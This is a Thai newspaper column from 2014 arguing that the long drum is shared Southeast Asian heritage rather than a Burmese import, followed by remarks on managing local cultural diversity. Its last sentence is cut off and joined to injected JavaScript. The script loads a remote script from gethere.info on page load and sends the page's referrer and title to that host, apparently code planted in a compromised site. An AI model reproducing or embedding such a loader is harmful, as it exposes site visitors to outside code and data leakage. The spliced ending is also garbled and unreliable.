มติชนรายวัน ฉบับประจำวันจันทร์ที่ 17 กุมภาพันธ์ 2557

 

กลองยาว วัฒนธรรมร่วมของอาเซียน

          “ตำรากรมศิลปากร บอกว่ากลองยาวเป็นของพม่า พวกไทยได้กลองยาวจากพม่า จริงไหม”

          มีผู้ตั้งคำถามในที่ประชุมสัมมนาวิชาการว่าด้วยความหลากหลายของดนตรี กวีศิลป์ ที่สำนักศิลปะและวัฒนธรรม มหาวิทยาลัยราชภัฏนครสวรรค์ เมื่อตอนสายวันพุธที่ 5 กุมภาพันธ์ 2557

          ตำรากรมศิลปากร ที่มีผู้ยกมา น่าจะหมายถึง หนังสือเครื่องดนตรีไทย ของ ธนิต อยู่โพธิ์ (ที่กรมศิลปากรพิมพ์จำหน่ายเผยแพร่ครั้งแรก พ.ศ. 2500 แล้วใช้เป็นมาตรฐานสืบมาจนบัดนี้) มีข้อความตอนหนึ่งสรุปว่า ไทยได้แบบอย่างกลองยาวจากพม่า แต่พม่าบอกว่าได้จากไทยใหญ่อีกต่อหนึ่ง

          แสดงว่าพม่าเองก็ไม่รู้ว่ากลองยาวมาจากไหน? เลยโยนไปที่ไทยใหญ่ ถ้าถามไทยใหญ่ ก็น่าจะได้คำตอบโยนต่อไปยังคนกลุ่มอื่นๆอีก เพราะต่างไม่รู้ว่ามาจากไหน?

          กลองยาว คือกลองมีเอว ขึ้นหนังหน้าเดียว ถ้าขนาดใหญ่และยาวมากในภาคเหนือเรียกกลองแอว (คำว่า แอว ในภาคเหนือ คือ เอว ในภาคกลาง)

          กลองมีเอว จัดอยู่ในตระกูลกลองทอง(มโหระทึก) มีพัฒนาการอยู่ในภูมิภาคอาเซียนราว 3,000 ปีมาแล้ว รูปร่างคอคอดเล็กน้อยตรงกลาง จนถึงคอคอดมากก็มี และมีหลายขนาด

          ถือเป็นสมบัติวัฒนธรรมร่วมของอาเซียนในอุษาคเนย์ ไม่มีใครเป็นเจ้าข้าวเจ้าของแต่ผู้เดียว ไม่ว่าพม่าหรือไทยใหญ่ หรือใครต่อใครในภูมิภาคนี้

 

บริหารจัดการวัฒนธรรม

          การบริหารจัดการความหลากหลายทางวัฒนธรรมท้องถิ่น ต้องรู้จักและเข้าใจความเป็นมาทางประวัติศาสตร์สังคมของไทยที่เกี่ยวข้องกับอาเซียนและโลก สอดคล้องกับคติที่ว่า รู้เขา รู้เรา รู้โลก

          รู้เขา คือ รู้เพื่อนบ้านอาเซียนที่ล้วนมีบรรพชนร่วมกัน

          รู้เรา คือ รู้ความเป็นมาของประเทศ และของท้องถิ่นตน

          รู้โลก คือ รู้ความเป็นมาของโลก และโลกาภิวัตน์

          ท้องถิ่นไทย  มีความเป็นมาทั้งของผู้คนและดินแดน อย่างแยกไม่ได้จากประวัติศาสตร์อุษาคเนย์หรืออาเซียน ที่บริเวณผืนแผ่นดินใหญ่มีชื่อเรียกเก่าแก่มาแต่ยุคดึกดำบรรพ์ว่าสุวรรณภูมิ

          ทั้งนี้ เพราะท้องถิ่นไทยเป็นส่วนหนึ่งของประเทศไทย และประเทศไทยมีประวัติความเป็นมาทั้งผู้คนและดินแดน เป็นส่วนหนึ่งของสุวรรณภูมิในอาเซียนอุษาคเนย์อย่างแยกออกจากกันไม่ได้

          ปัญหาที่เกิดขึ้นในไทย แล้วส่งผลถึงทุกท้องถิ่น คือ (1) ไม่รู้ (2) รู้ แต่ไม่ยอมรับความเป็นมาแท้จริง

          ว่าสังคมและวัฒนธรรมไทยรวมถึงท้องถิ่น มีความหลากหลายและเป็นวัฒนธรรมร่วมทั้งอาเซียน มีทั้งส่วนที่เป็นวัฒนธรรมดั้งเดิม และมีทั้งส่วนที่รับจากภายนอกเข้ามาประสมประสาน ผ่านขั้นตอนการเปลี่ยนแปลงมานานมากหลายครั้งหลายหนไม่หยุดนิ่งตายตัว แต่จะเปลี่ยนไปเรื่อยๆ เพื่อสนองความต้องการใหม่ตราบจนปัจจุบัน และจะเปลี่ยนต่อไปในอนาคต ไม่มีวันสิ้นสุด

          ที่ยกมาทั้งหมดนี้ ผมบอกในที่ประชุมสัมมนาวิชาการเรื่องการบริหารจัดการความหลากหลายทางวัฒนธรรมท้องถิ่นฯ ที่สำนักศิลปะและวัฒนธรรม มหาวิทยาลัยราชภัฏนครสวรรค์ จัดขึ้นเมื่อตอนสายวันพุธที่ 5 กุมภาพันธ์ 2557

          แล้วย้ำเพิ่มเติมว่าที่ต้องทำก่อนสิ่งใด คือ 1. เลิกอนุรักษ์ฟื้นฟูวัฒนธรรม 2. เลิกฟูมฟายโหยหาวัฒนธรรม 3. เลิกอ้างความรักชาติเพื่อบริหารจัดการวัฒนธรรม

          แต่ไม่มีที่ไหนทำตามนี้หรอกs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; d.getElementsByTagName(‘head’)[0].appendChild(s);